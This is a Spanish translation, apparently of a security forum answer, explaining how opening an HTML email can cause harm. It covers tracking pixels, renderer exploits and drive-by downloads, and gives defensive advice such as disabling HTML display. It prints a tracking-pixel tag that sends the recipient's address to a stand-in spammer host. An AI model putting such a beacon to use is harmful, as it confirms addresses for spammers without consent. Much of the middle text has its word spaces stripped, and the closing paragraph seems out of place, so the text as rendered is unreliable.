¿Cómo podría dañar un correo electrónico simplemente abriéndolo?

Te daré un ejemplo muy simple. Un truco de spammer común antes de que los clientes se actualizaran para contrarrestar esto era incrustar un GIF cuadrado de 1px en un correo electrónico HTML. Recibirás un mensaje como este:

<img src="http://nastyevilspammer.invalid/[email protected]"/>

Nohacefaltadecirquepic.gifesdehechounscriptcgiquetomaunparámetrodeobtención.Elresultadoseveasí:

1. Elclienteabreelcorreoelectrónico.
2. Elclienteprocesaautomáticamentehtml,incluidalaobtencióndetodoelcontenidoremoto.
3. Anastyevilspammer.invalidselesolicitaesadirección,incluidoelcorreoelectrónicoenelparámetrodeobtención.
4. Unprogramaseactivaenelservidor,registraelparámetrodeobtenciónydevuelveelGIFde1px.

Estetrucoseusóparaconfirmarlasdireccionesdecorreoelectrónicocomoobjetivosdespamactivos,paramoverlasalistasdedireccionesactivas,quelosspammersvenden.

Elproblemaylasoluciónseencuentranenelpaso2:automáticamenteconfiandoenelcontenidoentrante.

Loserroresenelclientedecorreoelectrónicoquesolorequierenqueseleaelcorreoelectrónicorequierenunerrorenellectordelclientequesepuedeutilizarparadesencadenarlavulnerabilidad.Porejemplo,unmotorderenderizadoHTMLpuedecargarelflashplayer.Espocoprobable,peropodríahabervulnerabilidadesenelcódigodeprocesamientodecadenasdelcliente.Yasí.

Ahora,estotambiénseaplicaalosclientesweb,quienessuministraránhtmlalnavegadorparaquelosgenere,abriendoasítodaslasvulnerabilidadesdelnavegadoradjunto.Noibaaleerelartículo,peroahoratengo:

  

LanuevageneracióndemalwaretransmitidoporcorreoelectrónicoconsisteencorreoselectrónicosHTMLquedescarganautomáticamenteelmalwarecuandoseabreelcorreoelectrónico.'

Elartículoesunpocodeluzsobrelosdetalles,peromegustaríatomarmeuntiempoparabrindarunconsejomástranquilo:

• EsteeselDailyMailyyosoydelReinoUnido.Tienenunatendenciaaasustarhistorias.
• Estonoesdeningunamanerauna"nueva generación" de malware. La gente ha estado explotando errores de HTML-correo electrónico desde la Edad de Piedra, o por lo menos desde antes de la primera película de Matrix, y el drive-by-downloads también ha estado funcionando por un tiempo.
• Una medida para contrarrestar muy simple es configurar su cliente de correo electrónico para que no muestre el contenido html, de forma predeterminada. A continuación, puede cargar opcionalmente el correo electrónico html de fuentes confiables. La mayoría de los lectores de correo electrónico decentes pueden hacer esto y hacerlo de forma predeterminada, incluidos GMail y Thunderbird (los dos clientes que utilizo).

• Puede avanzar mucho para mejorar sus posibilidades de evitar el malware haciendo lo habitual: active las actualizaciones de Windows. Instalar cortafuegos / antivirus. Tenga cuidado con los sitios que visita. Agregue extensiones centradas en la seguridad a su navegador ( NotScripts , noscript etc). Usa el último navegador y sistema operativo que puedas. Etc.

  y finalmente:

• Puede parecer que el correo electrónico proviene de tus contactos / amigos, pero no tienes forma de verificarlo: ten cuidado. Su banco / sociedad de construcción no necesita que verifique sus datos de contacto a través de Internet. Si tuvieran un problema, es probable que le escriban y si alguna vez no está seguro, diríjase a su sucursal. Un hombre rico en Nigeria no ha dejado una gran herencia, esas pastillas azules no funcionan y cualquier otra cosa que parezca demasiado buena para ser verdad probablemente lo sea.

En ese caso, el correo electrónico debe explotar un error en su cliente de correo electrónico. Eso es relativamente difícil para los correos electrónicos de texto simple, pero más fácil para los correos electrónicos html. Los analizadores y los procesadores de HTML son complejos y, a menudo, contienen errores que permiten la ejecución de código (por ejemplo, un desbordamiento de búfer). Ver un correo electrónico malvado es muy similar a ver un sitio web malvado desde un punto de vista de seguridad.